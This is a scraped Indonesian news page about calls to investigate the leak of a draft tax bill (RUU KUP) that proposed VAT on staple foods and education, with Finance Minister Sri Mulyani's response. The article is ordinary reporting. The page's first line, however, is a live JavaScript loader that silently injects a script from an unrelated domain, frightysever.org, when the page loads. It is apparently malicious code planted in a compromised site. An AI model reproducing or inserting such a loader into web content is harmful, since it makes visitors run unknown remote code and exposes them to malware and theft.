(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Ketua Pengurus Harian YLKI Tulus Abadi mendesak pemerintah terutama Kementrian Keuangan mengusut oknum yang membocorkan draf RUU Ketentuan Umum dan Tata Cara Perpajakan (KUP) yang memuat wacana perluasan pengenaan pajak untuk sembako hingga pendidikan.
“Saya kira soal bocornya ini harus diusut dulu lah. Kalau pemerintah suka keras dengan orang yang nyebar hoaks nyebar ini, sekarang siapa yang menyebarkan ini (draf) harus diusut,” kata Tulus dalam sebuah diskusi daring, Sabtu (12/6/2021).
Menurutnya, oknum tersebut harus diberikan sanksi tegas. Pasalnya telah melakukan kesalahan fatal hingga membuat gaduh masyarakat kekinian.
“Harus diusut kemudian diberikan sanksi juga karena buat kegaduhan di politik yang tidak diperlukan. Kalau memang itu diklaim sebagai sebuah kebocoran dan juga banyak pemotongan-pemotongan yang tidak perlu tapi kenapa ini dibiarkan?” ungkapnya.
Lebih lanjut, Tulus mengatakan, jika orang yang membocorkan draf RUU KUP ini adalah oknum pejabat atau politikus tidak bisa dilepaskan begitu saja. Menurutnya, harus diberikan sanksi juga.
“Kalau yang melakukan ini pejabat atau politisi dibiarkan saja. Ini menjadi tidak sehat bagi kita,” tandasnya.
Sri Mulyani Buka Suara
Menteri Keuangan Sri Mulyani Indrawati angkat suara terkait kekisruhan di publik soal wacana pemerintah yang ingin memajaki produk bahan pokok atau sembako.
Dalam rapat kerja dengan Komisi XI DPR RI, ia mengakui bahwa ada niatan pemerintah untuk memperbaiki struktur penerimaan negara dalam rancangan draft RUU Perubahan Kelima Atas Undang-undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP).
Salah satu yang diatur adalah soal perubahan tarif Pajak Pertambahan Nilai atau PPN untuk sembako dan sekolah, tapi yang disayangkannya, dokumen draft tersebut bocor ke publik dan langsung menjadi polemik ditengah masyarakat.
“Ini memang situasinya menjadi agak kikuk karena ternyata dokumennya keluar karena memang sudah dikirimkan kepada DPR juga sehingga kami tidak dalam posisi untuk bisa menjelaskan keseluruhan arsitektur dari perpajakan kita,” kata Sri Mulyani.
Yang lebih disayangkan olehnya adalah dokumen yang bocor tersebut tidak seutuhnya alias sepotong-potong.
“Yang kemudian di-blow up dan seolah-olah menjadi sesuatu yang tidak bahkan mempertimbangkan situasi hari ini,” sesalnya.
Alhasil, Sri Mulyani menyatakan, ada misintrepretasi di tengah masyarakat terkait masalah ini dan jadi bahan untuk menyebarkan informasi yang salah alias hoax. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, RANTAU - Hari ketiga Musabaqah Tilawatil Quran (MTQ) Nasional XXXV tingkat Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mengingatkan para tenaga pengajar bahwa yantangan di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Temu Teknis Penyuluh Pertanian se Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua DPD Perkumpulan Perempuan Wirausaha Indonesia (Perwira) Kalimantan Selatan, Wahidah melantik 33… Read More
KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More
This website uses cookies.